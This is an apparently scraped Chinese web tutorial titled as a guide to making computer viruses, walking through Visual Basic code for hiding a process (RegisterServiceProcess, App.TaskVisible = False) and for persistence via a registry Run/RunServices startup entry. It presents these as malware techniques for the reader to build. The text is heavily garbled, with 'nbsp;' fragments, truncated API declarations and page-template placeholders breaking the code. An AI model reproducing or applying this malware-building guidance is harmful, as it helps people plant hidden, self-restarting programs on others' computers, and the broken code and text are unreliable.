如何制作电脑病毒方法
对于接触计算机的朋友们来说,病毒已经不在是一个陌生的东西。病毒一般都具有传播、隐藏、破坏等能力。下面由我给你做出详细的电脑病毒制作方法介绍!希望对你有帮助! 电脑病毒制作方法介绍:
所以自从第一个病毒问世以来,它便被人们视为一种神秘的东西。但是,我们要知道。病毒也是程序,也是由人写出来的。
所以,病毒并不是什么高不可攀的东西。现在,让我们了解一下VB制作病毒的原理。首先,病毒是有隐藏性的。如何来实现病毒的隐藏是很多年来的热点话题。我们先不接触什么线程插入技术。 我们要实行自我隐藏,就要用到API函数。其代码如下:
Publicnbsp;Declarenbsp;Functionnbsp;GetCurrentProcessidnbsp;Libnbsp;\nctionnbsp;RegisterServiceProcessnbsp;Libnbsp;\yValnbsp;dwProcessIDnbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;Long)Publicnbsp;Constnbsp;RSP_SIMPLE_SERVICEnbsp;=nbsp;1Publicnbsp;Constnbsp;RSP_UNREGISTER_SERVICEnbsp;=nbsp;0Publicnbsp;Subnbsp;MakeMeService()Dimnbsp;pidnbsp;Asnbsp;LongDimnbsp;reserynbsp;Asnbsp;Longpidnbsp;=nbsp;GetCurrentProcessid()regservnbsp;=nbsp;RegisterServiceProcess(pid,nbsp;RSP_SIMPLE_SERVICE)Endnbsp;Sub这样就实现了自我隐藏。还有别的什么
第 页码 页 / 总页数 总页数 页
App.Titlenbsp;=nbsp;\和App.TaskVisiblenbsp;=nbsp;False都可以用于VB病毒的隐藏。
病毒光会隐藏还不行,还要有常驻内存的能力。
说通俗点,计算机关闭病毒也就跟着死去,而计算机重启,病毒也要跟这复活。
所以,我们接下来的任务就是:实现病毒的开机自启。了解病毒的朋友会知道,病毒一般是利用在注册表中插入相应键值来实现开机自启的。 所以,我们就要利用编程来实现着一功能。读写注册表要用到API函数,代码:
Privatenbsp;Declarenbsp;Functionnbsp;RegCreateKeynbsp;Libnbsp;\advapi32.dll\nbsp;Asnbsp;Long,nbsp;ByValnbsp;lpSubKeynbsp;Asnbsp;String,nbsp;phkResultnbsp;Asnbsp;Long)nbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegCloseKeynbsp;Libnbsp;\Valnbsp;hKeynbsp;Asnbsp;Long)nbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegSetValueExnbsp;Libnbsp;\;Aliasnbsp;\,nbsp;ByValnbsp;lpvalueNamenbsp;Asnbsp;String,nbsp;ByValnbsp;Reservednbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;Long,nbsp;lpDatanbsp;Asnbsp;Any,nbsp;ByValnbsp;cbDatanbsp;Asnbsp;Long)nbsp;Asnbsp;Long上述是API声明。
第 页码 页 / 总页数 总页数 页
病毒的开机自启就是在RUN下建立一个启动项,代码:
Dimnbsp;hKeynbsp;Asnbsp;LongDimnbsp;ccLetnbsp;ccnbsp;=nbsp;Len(\病毒的绝对路径
\ndowsCurrentVersionRunservices\,nbsp;\键名\病毒的绝对路径\以上代码执行后会在注册表中加入一个病毒的启动项。光利用开机自启来长驻内存也太容易被杀了。所以,我们还要想尽一切办法来让病毒启动。
第 页码 页 / 总页数 总页数 页
相关推荐: